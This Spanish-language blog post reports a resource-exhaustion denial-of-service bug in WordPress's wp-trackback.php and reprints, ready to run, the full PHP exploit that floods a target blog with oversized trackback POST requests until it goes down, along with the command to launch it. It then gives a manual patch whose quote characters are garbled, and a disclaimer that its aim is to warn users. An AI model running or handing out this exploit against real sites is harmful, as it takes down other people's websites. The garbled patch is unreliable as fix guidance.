Nuevo Bug grave en WordPress

Gracias a Mirphak me encuentro con este enlace que habla sobre un nuevo bug de WordPress que afecta a  todas las versiones incluyendo la ultima.

El problema radica en el archivo wp-trackbacks.php y permite a cualquier novato, individuo o persona, dejar offline  a  cualquier blog que use WordPress como CMS,  con tan solo 5 minutos y una veintena de consultas, si leyeron bien, solo 20 consultas no se necesitan botnes, redes zombies o supercomputadoras para hacer este tipo de ataque DoS.

Por el momento se ha publicado este exploit, creado en php y que se ejecuta  en la consola, pasando por parametro la url del sitio vulnerable, algo asi:

php exploit.php http://blogvulnerable.com

Y aqui esta el codigo del exploit:

<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo "You need to specify a url to attack\n";
exit;
} $url = $argv[1]; $data = parse_url($url);
if(count($data) < 2) {
echo "The url should have http:// in front of it, and should be complete.\n";
exit;
} if(count($data) == 2) {
$path = '';
} else {
$path = $data['path'];
}
$path = trim($path,'/');
$path .= '/wp-trackback.php';
if($path{0} != '/') {
$path = '/'.$path;
} $b = "";
$b = str_pad($b,140000,'ABCEDFG');
$b = utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,"); $str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol'; $count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo "down!!!!\n";
exit;
}
echo "unable to connect to: ".$data['host']."\n";
exit;
} fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n"); echo "hit!\n";
$count++;
} ?>

Todavia no existe parche para reparar el bug, la unica solucion conocida hasta el momento, es la que se manifiesta en el enlace donde nos cuentan el parche:

Editar el archivo wp-trackbacks.php y buscar esta linea:

$charset = $_POST[‘charset’];

y cambiarla por esta:

$charset = str_replace(”,”,””,$_POST[‘charset’]);
if(is_array($charset)) { exit; }

Para mas informacion pueden visitar este enlace, en el cual explican mucho mas a fondo en que consiste el bug, asi pues, todos a corregir nuestro wordpress, para asi evitar futuros dolores de cabeza.

Nota: Rincon Informatico no se ha responsable por el mal uso que algunos usuarios le puedan dar a esta informacion, nuestro unico objetivo es que los usuarios de wordpress se enteren de este problema y lo corrijan para  no tener problemas.

No Comments